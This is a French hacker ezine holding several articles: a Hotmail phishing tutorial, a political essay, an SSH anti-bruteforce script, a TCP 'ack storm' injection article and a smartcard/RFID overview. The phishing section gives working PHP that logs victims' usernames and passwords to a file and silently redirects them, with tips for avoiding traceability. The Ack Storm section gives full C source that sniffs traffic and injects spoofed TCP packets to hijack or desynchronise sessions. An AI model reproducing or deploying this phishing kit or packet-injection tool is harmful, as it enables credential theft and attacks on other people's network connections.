		<input type="hidden" name="PPFT" id="i0327" value="B8DMqYonus9tcFU7hkaTzIOj8SPWtRRcaAXJasiICovctbf8gLXL6WcsZpF1VqjblUItPTKGfvQ7cBBrx8HKbGlmv5DX"/>
		</form>
		<table cellpadding="0" cellspacing="0" border="0" width="100%" style="font-size:0;">
			<tr>
				<td>
				&nbsp;
				</td>
			</tr>
		</table>
		</td>
	</tr>
	<tr>
		<td valign="top" colspan="2" class="css9996">
		<iframe src="http://cb2.msn.com/footer.armx?lid=1033&cbpage=login&lc=1033&x=3.200.4104.0" width="100%" height="110" frameborder="0" scrolling="auto" align="bottom" marginwidth="0" marginheight="0" name="i6003"></iframe>
		</td>
	</tr>
</table>
</body>
</html>


la ligne importante a identifier est celle ci

<form name="f1" style="margin:0px;" method="POST" target="_top"  action="mkd.php" >

ou jai mi mkd.php a la place du url qui sert d'interpreteur de login a hotmail. dans
cette version, j'ai carrement desactiver lensemble des javascripts, ceux ci interferais
avec le form action. Mais il est aussi possible de downloader les javascripts et de 
modifier ceux ci pour que l'execution de la page pointe sur votre fichier a vous. mais
cest beaucoup plus simple de sen passer pour une perte peu significative de realisme.
sinon vous devrez aussi modifier les autre url de css ou d'inclusion de fichier pour 
le url complet web au lieu de l'url relatif local utiliser dans le code de hotmail.
Si vous avez downloader les css et les js, changer les url pour votre url relatif
local, bien evidament.  






	3) redirection et recuperation
	

la parti la plus simple et interressante, la cerise sur le sunday. ici on recupere
le user pass de notre bon samaritain naif et on le renvois sur la page derreur de
hotmail, il croirat donc avoir faite une erreur de frappe, reiterreras sa demande de
login cette fois ci sur le vrai serveur et aura access a sont compte et ne se sera
sans doute rendu compte de rien. C'est ici que le contenu de notre fichier mkd.php
intervient.                     



<?PHP
//echo $_POST['login']."<BR>";
//echo $_POST['passwd'];

$fp = fopen("hotpass.txt","a+");
fputs($fp,$_POST['login']." \ ".$_POST['passwd']."\r\n");
fclose($fp);

header("location:https://login.passport.com/ppsecure/post.srf");



?>

se simple code intercepte les user/pass incrit dans votre faux formulaire et redirige
l'utilisateur flouer sur la veritable page derreur de hotmail a l'insus de celui ci.



	4) Conclusion



	Comme vous avez pu remarquer, il n'y a rien la de tres compliquer qui j'ustifie
un manque aussi flagrant d'information. Je conseille fortement a qui veux sessayer 
d'utiliser un url plus credible que pageabob.com/hotmail/index.html a la fois dans le
nom du url que dans les arguments qui peuvent etre faker facilement sans influence sur
le code a l'aide de mod_rewrite (voir article sur mod_rewrite publier dans un ezine
precedent). De plus je ne vous conseille pas d'enregistrer le domaine a votre nom n'y
a votre addresse n'y de l'utiliser d'une facon ou d'une autre a partir dun compte web
qui pourrais vous trahir. En fait si vous savez pas sque vous faites, l'imiter vous a
impressinner vos ami avec votre fake hotmail, mais sans vous en servire pour vrai ;).

                 




     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Wyzeman    |
           			                  '--------------------' 






                                binf vu de trop loin:

                                         0
                                        |||
                                ________/ \________





                                binf vu de trop proche:

                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################
                                ###################   




                                binf vu de vraiment trop loin:



                                        .
	





     	    .-- -- ---- ----.
     	 ___|  MKD1001\009  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                  La rvolution est invitable
   
  	                                       AKA

				  Le monde doit, et vas changer

                                      


 
                _    ____   ____ ____ __  __ ____ _    _  _ ___ _ ____ _  _   
                |    |__|   |__/ |__   \  /  |  | |    |  |  |  | |  | |\ |   
                |___ |  |   |  \ |___   \/   |__| |___ |__|  |  | |__| | \|   
                ____ ____ ___   _ _  _ ____ __  __ _ ___ ____ ___ _    ____   
                |__  [__   |    | |\ | |__   \  /  |  |  |__| |_/ |    |__    
                |___ ___]  |    | | \| |___   \/   |  |  |  | |_/ |___ |___   



		

Une rvolution? Pourquoi?



Pour plusieurs,le concept de rvolution, de changement,demeure flou, voir mme inconcevable...
Pas de panique, la rvolution n'est pas quelque chose de ngatif, au contraire. Pour certains,
le mot fait peur, pour d'autres il est synonyme de ncessit. Certains se    demandent  plutt 
qu'est-ce que a mange en hiver, et pour dautres il sagit d'une marque dpose  (TM) servant 
identifier la prochaine console de jeu de Nintendo ...  Attardons-nous  donc quelques instants 
pour tenter de mieux comprendre le phnomne.

Tout d'abord,  tentons de dfinir le concept  de  rvolution:  rsumons  le  simplement  en un
changement global de socit, de mentalit, de faon de vivre, ou en un joli mlange  de  tous 
ces ingrdients. 

Il faut savoir a priori que ce phnomne remonte loin dans l'histoire de l'humanit, voir mme
aux dbuts de celle-ci. En effet, on constatera que des changements occurent depuis bon nombre
d'annes. Pour preuve, pensons simplement    tout  cet  attirail technologique dont nous nous
sommes dots au fil du temps. Certains diront   qu'il  s'agit  l  d'volution,  et   non   de 
rvolution... Pourtant, ces deux phnomnes sont  intimement  lis. L'humanit ne peut voluer
qu'en se fixant des objectifs, et, la rvolution est un outil de remise  en  question   et  de
progrs, dans une dmarche d'volution continue. 

La  rvolution    n'est  pas  ngative,    mme  si  elle  se  base parfois sur le refus o le 
mcontentement  par  rapport    des  problmes  sociaux,  elle  dcoule plutt de l'volution 
d'individus, tant simplement la manifestation (parfois violente)  d'un bond  en avant dans la
conscience et le progrs humain.

Alors, qu'est-ce que a nous apporte une rvolution? Du changement... et malheureusement, pour 
beaucoup,  le  changement fait peur ...   Certains  simplement craignent de voir leur  routine 
scurisante change, d'autres, craignent de voir leur emprise (ou empire) dstabilise. 

Historiquement parlant,   la  socit d'hier et d'aujourd'hui a  longtemps t divise en deux 
classes distinctes: une classe dirigeante et une classe travaillante.  La  classe  au  pouvoir
tant bien sur la premire  s'opposer farouchement  toute rvolution:  alinant  le  peuple, 
lui faisant croire en une organisation sociale contemporaine incontestable.   Ainsi, la loi du 
march prsente dans notre socit crase littralement le peuple, le privant du pouvoir qu'il
se devrait d'avoir. Cette vritable "omerta" au service des classes dominantes  (bureaucrates, 
technocrates, managers et bourgeois) impose ses choix et ses priorits   la population. Cette
dernire, trop souvent, se laisse berner par de beaux discours    prometteurs,   masquant  les
relles intentions de cette tyrannie gouverne-mentale prenant des dcisions  sur  des   enjeux 
fondamentaux, avant mme que la population    ne  soit tenue  au  courant et que les  opinions 
divergentes ne soient prises en compte. 

Avec la disparition accentu ces dernires annes  de    la  "classe moyenne"  au  profit  des 
litistes, on constate un nombre grandissant de gens   souhaitant  du changement, remettant en
question notre socit actuelle et son organisation... Assisterions-nous donc a une rvolution 
au sein de notre socit? Et surtout, qu'est-ce que nous apporterait une  rvolution? Un monde 
meilleur? Utopique diront certains... c'est pourtant ce que de plus  en  plus de gens semblent 
penser, luttant et agissant progressivement vers un monde meilleur...

Un systme fig s'effondre sur lui-mme... Dans le systme actuel, l'inertie est l,crasante, 
bloquant toute volution qui ne lui est pas profitable conomiquement, imposant acceptation et
soumission  sa fatalit. Y  opposant l'engagement personnel et le refus de la rsignation, on 
constate avec enthousiasme, dans notre socit o la pression pousse  la division sociale, la 
tendance de plus en plus rpandue  des  individus   s'unir pour changer les choses. Affirmant 
qu'une socit  meilleure est  possible,  et  allant de l'avant pour la rendre possible. Ainsi
donc, lentement mais progressivement, les prises de conscience arrivent et la rvolution va de 
l'avant, poussant les individus vers un cheminement personnel et collectif.


C'est par nos penses, nos paroles et nos actions, individuellement 
et collectivement, que nous faonnons nos lendemains.




     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Smash3r    |
           			                  '--------------------'








        ____         ,-------------------------------------------------
       /    \        | antibruteforcessh 
      |  _   |       |  
      | / \  |       | #!/bin/bash 
      ||   | |      /  echo "$$" > pid 
      (.) (.)|     /   cat /var/log/messages |grep "Failed password for invalid user" |awk '{print $13}' > list 
      ||   | |    <__  cat /var/log/messages |grep "Failed password for root" |awk '{print $11}' >> list 
      ||   | | |     | echo "" > /var/log/messages 
      ||   | | |     | for i in $( cat list ); do 
      |____/|| |     | if cat result |grep "$i" >/dev/null 
      |\___/ | |     |  then 
      ||   | | |     |  if ! iptables-save |grep "$i" >/dev/null 
      ||   | | |     |    then 
      ||   | | |     |    iptables -A INPUT -s "$i" -j DROP 
      ||     | |          echo `date | awk '{print $3,$2,$4}'` "$i" was blocked "(bruteforce SSH)"
      | \___/  |        fi
      |        |       fi 
       \______/           

                       if ! cat result |grep "$i" >/dev/null
                        then
                        echo "$i" >> result
                       fi
                       done
                       rm -rf list result
                       exit


                       Lindividu





     	    .-- -- ---- ----.
     	 ___|  MKD1001\010  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                            Ack Storm
   
  	                                       AKA

                                   Une tempete dans un routeur

                                      




Ack Storm 

I)Intro
--------
 
Plop tout le monde.
Vous avez sans doute deja entendu parler du protocole TCP/IP peut etre meme des  attaques Man 
In The Midle et si vous etes un ouf meme de la grippe aviaire. Bah  nous on va faire pire que 
la grippe ^^.

Pendant que j'ecris ce texte que les Russes battent le Kazakhstan au hockey et  que le Canada 
ce fait demonter par les Suisses, la grippe aviaire ce repand tel  un fleau malsain. Elle est 
desormais  partout  et  personne  ne  peut plus lui echapper. Minkind est deja contamine, ses 
auteurs ne savent plus ce qu'ils  disent,  tremblent,  bavent  partout  et surtout le pire !! 
codent des truks qui font n'importe quoi.

C'est dans ce climat de delire psychopathique que je dois ecrire cet  article... Ne soyez pas 
trop dur avec moi, je ne suis desormais plus responsable de mes actes !

II)L'homme entre 2 fesses
--------------------------

Un jour l'homme a cree la machine ultime, l'ordinateur!. Mais il trouvait triste  de voir ces 
bebetes seules alors il fit une chose monstrueuse, il  les  relia  entre  elles  OMG !!!!  le 
magnifique protocol TCP apparu (snirf ..c'est trop beau faut que je me tape une queue...)

****Une queue plus tard****

Ha  ca  fait  du bien (pour les filles qui me lisent bah ...envoyez moi vos mails  :) /me  is 
alone snirf) Bref finit de pleurer sur mon sort et place au coding.

Il faut savoir que le protcol TCP fait parti de la 3 eme couche du modele OSI,  celle qui est 
charge de transporte lesdonnes, de verifier quelle n'ont  pas  ete  alteres. D'un point de vu 
technique c'est un put1 bordel pour faire tout ca :)

Voici a quoi ressemble un packet TCP:

 TCP Header Format

    0                   1                   2                   3   
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Source Port          |       Destination Port        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        Sequence Number                        | SN
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
   |                    Acknowledgment Number                      | ACK
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Checksum            |         Urgent Pointer        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             data                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+




Nous  allons uniquement nous interesser a l'echange de donnees, pour ceux qu'il  veulent  tout 
connaitre aller la [FRAMEIP] je desisgne par C le client et le  serveur  par  (attention ya un 
truk de fou que jvais dire la ..) S.

C envoie un packet a S il envoie un packet avec les flags Push et Ack activ et leurs propre 
  SN et ACK.

C-- flags(Push & Ack) SN=1,ACK=2,DATAlen=10 ->S

S repond avec le flag Ack pour dire qu'il a bien recu le colis.

S-- flag(Ack) SN=2,ACK=1+10=11->C

et ainsi de suite

C-- flags(Push & Ack) SN=11,ACK=2,DATAlen=3 ->S
S-- flag(Ack) SN=2,ACK=11+3+14 ->C
.
.
.

[HJK]
Le but de notre attaque sera d'injecter un packet qui possedera les bons SN et ACK avec une ip 
spoofe et le champ IP valide pour  ce  faire  passer  pour  le  client. Pour cela nous devont 
Sniffer le reseau et oui  vous  ne  pourrez  pas  le  faire sur le net enfin sauf si vous etes 
malin ;). Le schema precedent devient avec dans le role du mechant H le hacker :)

C-- flags(Push & Ack) SN=1,ACK=2,DATAlen=10 ->S
S-- flag(Ack) SN=2,ACK=1+10=11->C
H-- IP SPOOFE flags(Push & Ack) SN=11,ACK=2,DATAlen=3 ->S
S-- flag(Ack) SN=2,ACK=11+3+14 ->C

oups !!! HolyShit!!!

La  ca  devient  le bordel :s, le client recoie un packet ACK alors qu'il n'a rien  envoyer il 
envoie un ACK au serveur celui ci fait la meme chose la connection est desynchronisee c'est un 
ACK STORM !! les ack volent sur le reseau comme une 
nuee d'oiseaux malades !

Bref voila le chtit code qui fait mieux que la grippe:  N'oubliez  de  preciser  l'addresse de 
votre carte rezo !

-------------CUT HERE----------------
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#include "struct.h"

char IP_USURP[16]={0}; //Ip distante
int PORT_DEST=0;



bool resolve_name(char *ip)
{
	
    hostent * pHE;

    if ((pHE = gethostbyname(ip)) ==NULL)
	{
		 printf("Gethostbyname failed: %d\n",WSAGetLastError());
		return false;
	}
  struct in_addr buff;

  memcpy(&buff,pHE->h_addr_list[0],sizeof(struct in_addr));
  
  printf("%s\n",inet_ntoa(buff));
  strcpy(IP_USURP,inet_ntoa(buff));
  return true;

}

void initWSA()
{
	WORD wVersionRequested;
	WSADATA WSAData;

wVersionRequested=MAKEWORD(2,2);
	if ((WSAStartup(wVersionRequested,& WSAData)) !=0 )
	{
		printf("WSAStartup failed: %d\n",WSAGetLastError());
		exit(-1);
	}

   
}

SOCKET Socket;
bool  InitSocket()
{
	int optval=1;
	Socket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW,NULL,0,0);

	if (Socket == INVALID_SOCKET)
	{
		printf("Socket failed: %d\n",WSAGetLastError());
		return false;
	}

	if (setsockopt(Socket, IPPROTO_IP, 2, (char *) &optval, sizeof(optval))== SOCKET_ERROR) //IP_MULTICAST_IF
	{
	perror("setsockopt");
	WSACleanup();
	return false;
	}

  return true;
}

SOCKET Socket2;
bool InitSocket2()
{

struct sockaddr_in SockAddr;
Socket2 = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
DWORD BytesReturned;
int I = 1;

		if (Socket2 == INVALID_SOCKET)
		{
		printf("Socket2 failed: %d\n",WSAGetLastError());
			exit(-1);
		}

		memset(&SockAddr, 0, sizeof(SockAddr));
		SockAddr.sin_addr.s_addr = inet_addr("192.168.0.3"); //addresse de votre carte rezo !
		SockAddr.sin_family = AF_INET;
		SockAddr.sin_port = 0;

		if (bind(Socket2, (sockaddr *)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR)
		{
			printf("Bind failed: %d\n",WSAGetLastError());
			return false;
		}

		if (WSAIoctl(Socket2, SIO_RCVALL, &I, sizeof(I), NULL, NULL, &BytesReturned, NULL, NULL) == SOCKET_ERROR)
		{
			printf("WSAIoctl failed: %d\n",WSAGetLastError());
			return false;
		}

return true;
}

void CreatePacket(char *ip_src,char * ip_dest,u_short port_src,u_short port_dest,int acknum,int isn,u_short win,char flags,u_short ipid)
{

	printf("%s\n",ip_src);

	IP_HDR *iphdr;
	TCP_HDR *tcphdr;
	PSD_HDR *psdhdr;

	
	char data[4096]="Own3d by Ivanlef0u";


printf("TCP Packet Maker By Ivanlef0u\n");

u_int  frago=0,ttl=0,mf=0,df=0;
u_int syn=0,ack=0,urg=0,fin=0,rst=0,psh=0;
u_int urgptr=0;




printf("4.Fabrication de l'entete IP\n");
	iphdr = (IP_HDR *) malloc(sizeof(IP_HDR));
    memset(iphdr,0,sizeof(IP_HDR));
 
char ip_len = sizeof(IP_HDR) / sizeof(unsigned long); //Taille en multique de 4 octets (unsigned long) de l'en tete IP (ici 5)
char ip_version = 4;
iphdr->verlen = (ip_version << 4) | ip_len;
iphdr->tot_len=htons(sizeof(IP_HDR)+sizeof(TCP_HDR)+strlen(data));
iphdr->id=htons(ipid);
iphdr->offset=htons(iphdr->offset|=0x4000);
iphdr->ttl=128;
iphdr->protocol=IPPROTO_TCP;
iphdr->saddr=inet_addr(ip_src);
iphdr->daddr=inet_addr(ip_dest);
iphdr->checksum=in_cksum((u_short *) iphdr, sizeof(IP_HDR));;

printf("Fabrication de l'entete IP: [OK]\n");

/*
int flags=0;
if (fin==1)
flags+=0x01;
if (syn==1)
flags +=0x2;
if(rst==1)
flags+=0x04;
if(psh==1)
flags+=0x08;
if(ack==1)
flags+=0x10;
if(urg==1)
flags+=0x20;
*/
printf("5.Fabrication de l'entete TCP...\n");

tcphdr = (TCP_HDR *) malloc(sizeof(TCP_HDR));
memset(tcphdr, 0x0, sizeof(TCP_HDR));

tcphdr->sport=htons(port_src);
tcphdr->dport=htons(port_dest);
tcphdr->seqnum=htonl(isn);
tcphdr->acknum=htonl(acknum);
tcphdr->DataOffset=(5) << 4;
tcphdr->Flags=flags;
tcphdr->Window=htons(win);
tcphdr->UrgPointer=0;
tcphdr->Checksum=0;
printf("Fabrication de l'entete TCP: [OK]\n");

printf("6.Fabrication de la pseudo entete TCP...\n");

char tampon[65535];//tampon pour le checksum TCP

psdhdr = (PSD_HDR *) malloc(sizeof(PSD_HDR));
memset(psdhdr, 0, sizeof(PSD_HDR));

psdhdr->saddr=inet_addr(ip_src);
psdhdr->daddr=inet_addr(ip_dest);
psdhdr->useless=0;
psdhdr->protocol=IPPROTO_TCP;
psdhdr->length=htons(sizeof(TCP_HDR)+strlen(data));

memcpy(tampon,psdhdr,sizeof(PSD_HDR));
memcpy(tampon+sizeof(PSD_HDR),tcphdr,sizeof(TCP_HDR));
memcpy(tampon+sizeof(PSD_HDR)+sizeof(TCP_HDR),data,strlen(data));


printf("Fabrication du pseudo entete: [OK]\n");
tcphdr->Checksum=in_cksum((u_short *) tampon, sizeof(PSD_HDR)+sizeof(TCP_HDR)+strlen(data));

struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr->daddr;

char *packet=NULL, *ptr=NULL;
u_short packet_size=sizeof(IP_HDR)+sizeof(TCP_HDR)+strlen(data);

packet = (char *) malloc(packet_size);

ZeroMemory(packet, packet_size);
    ptr = packet;
    memcpy(ptr, iphdr, sizeof(IP_HDR));
    ptr += sizeof(struct iphdr);
    memcpy(ptr, tcphdr, sizeof(TCP_HDR));
	ptr += sizeof(struct tcphdr);
	memcpy(ptr, data, strlen(data));
    

  
  printf("7.Envoie du paquet\n");
    if (sendto
	(Socket, packet, packet_size, 0, (struct sockaddr *) &sin,
	 sizeof(struct sockaddr_in)) == SOCKET_ERROR) {
	perror("sendto");
    }
 printf("Paquet envoye\n");   
 
	free(iphdr);
    free(tcphdr);
    free(psdhdr);
}    



void CapturePacket()
{
printf("Capture en cours\n");

char RecvBuf[65535]={0};
u_short ip_id=0;
u_int win=0;
int i=0;
while (i<1)
{
	memset(RecvBuf,0,sizeof(RecvBuf));
	recv(Socket2,RecvBuf,sizeof(RecvBuf),0);
IP_HDR *pIpHeader;
TCP_HDR *pTcpHeader;

pIpHeader=(IP_HDR *)RecvBuf; //Adresse du pointer  ip est egal au debut de l'header IP
pTcpHeader=(TCP_HDR *)(RecvBuf + sizeof(IP_HDR)); //Adresse du pointeur header TCP

char srcIP[16], destIP[16];
SOCKADDR_IN sasource, sadest;

int data_len=ntohs(pIpHeader->tot_len)-sizeof(IP_HDR)-sizeof(TCP_HDR);

sasource.sin_addr.s_addr=pIpHeader->saddr;
strncpy(srcIP,inet_ntoa(sasource.sin_addr),16);

sadest.sin_addr.s_addr=pIpHeader->daddr;
strncpy(destIP,inet_ntoa(sadest.sin_addr),16);


if (pIpHeader->protocol==IPPROTO_TCP && strcmp(destIP,IP_USURP)==0) //on recupere l'id du dernier packet envoyer
{
ip_id=ntohs(pIpHeader->id);
printf("Id: %d\n",ip_id);
win=ntohs(pTcpHeader->Window);

}

if(pIpHeader->protocol==IPPROTO_TCP && strcmp(srcIP,IP_USURP)==0 && ntohs(pTcpHeader->sport)==PORT_DEST) //si on recoit un packet tcp 
{
	CreatePacket(destIP,IP_USURP,ntohs(pTcpHeader->dport),ntohs(pTcpHeader->sport),ntohl(pTcpHeader->seqnum)+data_len,ntohl(pTcpHeader->acknum),win,0x18,ip_id+1);
i++; //un seul packet suffit
}

}

}


void main(int argc, char *argv[])
{

if (argc<3)
{
printf("Usage is: <adresse ordi distant> <port service distant> \n");
exit(-1);
}


printf("Verification des donnees entrees...\n");
if(strlen(argv[1])>255 || (atoi(argv[2]) <0 || atoi(argv[2]) > 65535 ) )
{
	printf("Erreur dans les donnees entrees\n");
	exit(-1);
}
printf("Verification des donnees: [OK]\n");

PORT_DEST=atoi(argv[2]);
initWSA();

if(resolve_name(argv[1])==false)
exit(-1);

if(InitSocket()==false)
exit(-1);

if(InitSocket2()==false)
exit(-1);


printf("Waiting for Orders.. (Push me)\n");
system("PAUSE");

CapturePacket();

WSACleanup();
closesocket(Socket);
closesocket(Socket2);
}
-------------CUT HERE----------------


EMail: ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118/


Vous trouverez tout les code et les executables sur mon site dans le dossier Mindkind.
References
------------

[FRAMEIP] http://www.frameip.com/accueil/
[REDKOD] http://www.redkod.org/
[MSDN] http://msdn1.microsoft.com/en-US/default.aspx
[HJK] http://www.madchat.org/reseau/hijacking/hijacking.htm




     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by IvanLeFou  |
           			                  '--------------------'









     	    .-- -- ---- ----.
     	 ___|  MKD1001\011  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                              Smartcard - RFID - Access Control

  	                                    AKA

                              Moi jaurais appeller ca des Mindcard...



                                      
Bonjour, pour mon article je vais vous parler d'un sujet qui s'en vient de 
plus en plus populaire. On en entend parler de plus en plus des fameuses 
cartes  puce ou tag RFID, que a soit pour payer (Mastercard PayPass, EMV) 
ou pour identifier le stock dans des entreprises. Ce nest pas pour rien que 
des gants investissent dans le RFID, comme par exemple Wal-Mart qui pousse 
pour que la technologie soit encore plus performante (cherchez pour GEN2 sur 
le web)
Dans cet article je vais parler en uttilisant comme example une des cartes 
sans contact de Phillips: Mifare Desfire.
Http://www.semiconductors.philips.com/acrobat_download/other/identification/SFS075530.pdf).
Le gouvernement amricain a approuv les cartes Desfire pour la NASA 
(www.physorg.com/news506.html), etc. La DESFIRE est aussi FIPS 201, qui est 
le nouveau standard amricain. Les cartes de proximit s'en viennent de plus 
en plus populaires, et je crois que beaucoup de choses vont se tourner vers 
ses cartes l, car elles ont beaucoup d'avantages. Elles sont plus 
scuritaires que les cartes magntiques et elle nont aucun contact physique 
dont moins de dommage  cause des gratignures. De plus, cette carte permet 
un cryptage doit tre remplac par cryptage ou 3DES. La DESFIRE n'est pas la 
toute dernire, il y a des cartes encore plus envoles, technologie SmartMX 
de Phillips aussi, qui va permettre des possibilits trs grandes. Pour 
l'instant, les cartes sont un peu comme un drive USB intelligent et 
encrypt. Il va tre possible avec SmartMX de loader du code dans la carte 
sous Java et d'tendre les fonctionnalits. Tu vas avoir un OS dans ta 
carte, c'est un changement norme de pouvoir introduire du code au lieu de 
simplement des donnes.
http://www.semiconductors.philips.com/products/identification/smartmx/
Certains lecteurs ne sont que justes pour des contrleurs d'accs, mais il y 
a aussi un standard pour des lecteurs branchs sur des PCs qui se nomme 
PC/SC (http://www.pcscworkgroup.com/). PS/SC propose un protocole de 
commandes pour le lecteur de carte, des commandes que le PC envoie. Un 
lecteur pour le PC pourrait tre pratique en autre pour le logons Windows, 
ou pour tout autre site.

Un petit lexique ISO 14443 (carte de proximit sans contact) :
PCD  Proximity Coupling Device -> C'est le lecteur de carte
PICC  Proximity Integrated Circuit Cards  Les cartes
ACPU--- Packet ( c'est un frame avec la commande )

Les cartes  contact sont spcifies dans ISO 7816, mais ne seront pas 
trait dans cet article car c'est  veille de disparaitre.

Les PICCs vont fonctionner sur habituellement un range de 10cm (c'est limit 
 la grosseur de l'antenne) et sur une frquence de 13.56mhz. Ce nest pas 
beaucoup, mais c'est parfait pour ce que a doit faire, comme le contrle 
d'accs par exemple, qui est une des fonctions principale. Le protocole ISO 
14443 supporte deux type de PICCs, le type A et B. La DESFIRE est de Type 
A(donc tout ce qui est Phillips). Il y a aussi le type B, mais c'est du 
pareil au mme, c'est simplement un autre type de modulation et de protocol 
d'anticollision et de slection. C'est plus ou moins important de savoir le 
protocol physique. D'autre type on voulu venir au monde mais n'ont jamais 
t retenu par ISO.

ISO 14443 est constitu de :
 Carte de proximit
 Part 1 : Les caractristiques physiques
 Part 2 : Les frquences radio et le signal
 Part 3 : L'initialisation et l'anticollision < 
 Part 4 : Le protocole de transmission.

Voici comment a marche :

Premirement, chaque carte a un numro de srie appel le UID ou numro de 
srie, c'est de taille variable selon lISO (Desfire a 7 octets), et c'est 
brler par le manufacturier et non changeable.  La carte c'est un peu comme 
un disque dur, on crit des fichiers et du data avec certaines permissions 
comme NTFS. Le uid est utiliser et trouver dans le protocole anticollision, 
qui sert a supporter plusieurs cartes dans le champ nergtique, sans qu'il 
y ait de corruptions et de merdes avec le data. Le UID ne devrait pas tre 
uttiliser comme numro de carte , car il est lisible par tous le monde.
C'est pourtant avec se principe que certain des lecteurs HID fonctionnait , 
y fesais un XOR sur le UID pour gnrer leur numros..

La carte rentre dans le champ magntique du lecteur, elle est ainsi 
alimente en courant, elle n'a pas de batterie, elle est entirement 
alimente par le lecteur.
Au dpart elle est en mode OFF (non alimenter), ensuite elle rentre dans un 
idle (la carte se rveille et est alimente elle peut rpondre a REQ et 
WAKEUP), des qu'elle reoit REQ ou WAKEUP avec son UID slectionner elle 
devient READY. Il va avoir 2-3 (selon ce que la carte supporte) niveaux de 
cascading dans l'anticollision pour dcouvrir le UID. Le cascading est 
simplement une phase ou il y a un change du numro de srie. Dans chaque 
tape d'anticollision ( cascading ) on dcouvre des octects de plus du UID.  
Une fois l'anticollision terminer nous avons le UID qui permet d'envoyer une 
commande SELECT (14443-3) qui dtermine  quel carte nous allons parl. Le 
select va nous retourner un byte SAK, qui va entre autre nous dire le nom de 
la carte( Desfire, Mifare Classic, ProX) ainsi que d'autre informations. 
Pour stopper l'action sur une carte, on utilise HALT. La carte ne rpond pu 
 rien  part un WAKEUP. Comme vous l'avez vu, c'est le PCD qui se charge 
d'initialiser la communication. Je ne rentrerais pas trop dans les dtails 
dISO 14443, car les documents sont disponibles sur le web. Une fois le 
select termin , une slection de vitesse de baud rate( RATS, PPSS) envoy 
nous pouvons parl avec la carte .Il y a un procole de commandes inter 
compagnies qui permettre de parler a n'importe quel PICC qui supporte ISO 
7816. Certaine carte , ISO 14443 vont supporter les commandes ISO 7816. Car 
14443 ne fait que l'activation de la carte , ce n'est pas son protocol de 
commande. Le protocol de commande est sois 7816 ou propritaire.

http://www.cardwerk.com/smartcards/smartcard_standard_ISO7816-4_6_basic_interindustry_commands.aspx

READ BINARY
WRITE BINARY
UPDATE BINARY
ERASE BINARY
READ RECORD(S)
WRITE RECORD
APPEND RECORD
UPDATE RECORD
GET DATA
PUT DATA
SELECT FILE
VERIFY
INTERNAL AUTHENTICATE
EXTERNAL AUTHENTICATE
GET CHALLENGE
MANAGE CHANNEL
Ce sont des fonctions d'I/o , qui permettre d'crire , de lire , de vrifier 
si le data  bien t cris  , un peu les mmes uttilits qu'un accs  une 
database.
Elle seront envoyer dans un packet ACPU. Une fois la carte en tat 
selection, la Desfire s'attend  s'authentifier. Et oui on ne peux pas lire 
le data sans avoir les cls , malheureusement, a serait un peu trop 
exploitable . Pour ce qui de l'authentification sur Mifare Desfire, c'est du 
3DES avec une cl de 16 octets. a fait beaucoup de possibilits de 
combinaison pour un bruteforce...

Les cartes anciennes carte Mifare Classic fonctionnaient en terme de 
secteur, tu accdais a des block mmoires plutt qu'a un fichier et les 
applications tait fixes.Le cryptage est propritaire  Crypto1  de 
Phillips (Desfire a t fait justement  cause de a car ce ntait pas 
public) et les gens du monde de la cryptographie n'aime pas tout ce qui est 
propritaire.

La carte Desfire  un systme de fichier rvolutionnaire compar  la carte 
Mifare classique et possde un total de 4KB de ROM. Ce qui est beaucoup dans 
le cas d'un PICC. Elle peut contenir plusieurs applications (1-28), une 
application c'est une sorte de rpertoire, qui peut entre dynamiquement 
crer ou effacer, dans une application ta des fichiers et des cls. Tu peux 
avoir un maximum de 14 cls par application. Chaque fichier peut avoir des 
droits d'critures et lecture spar.

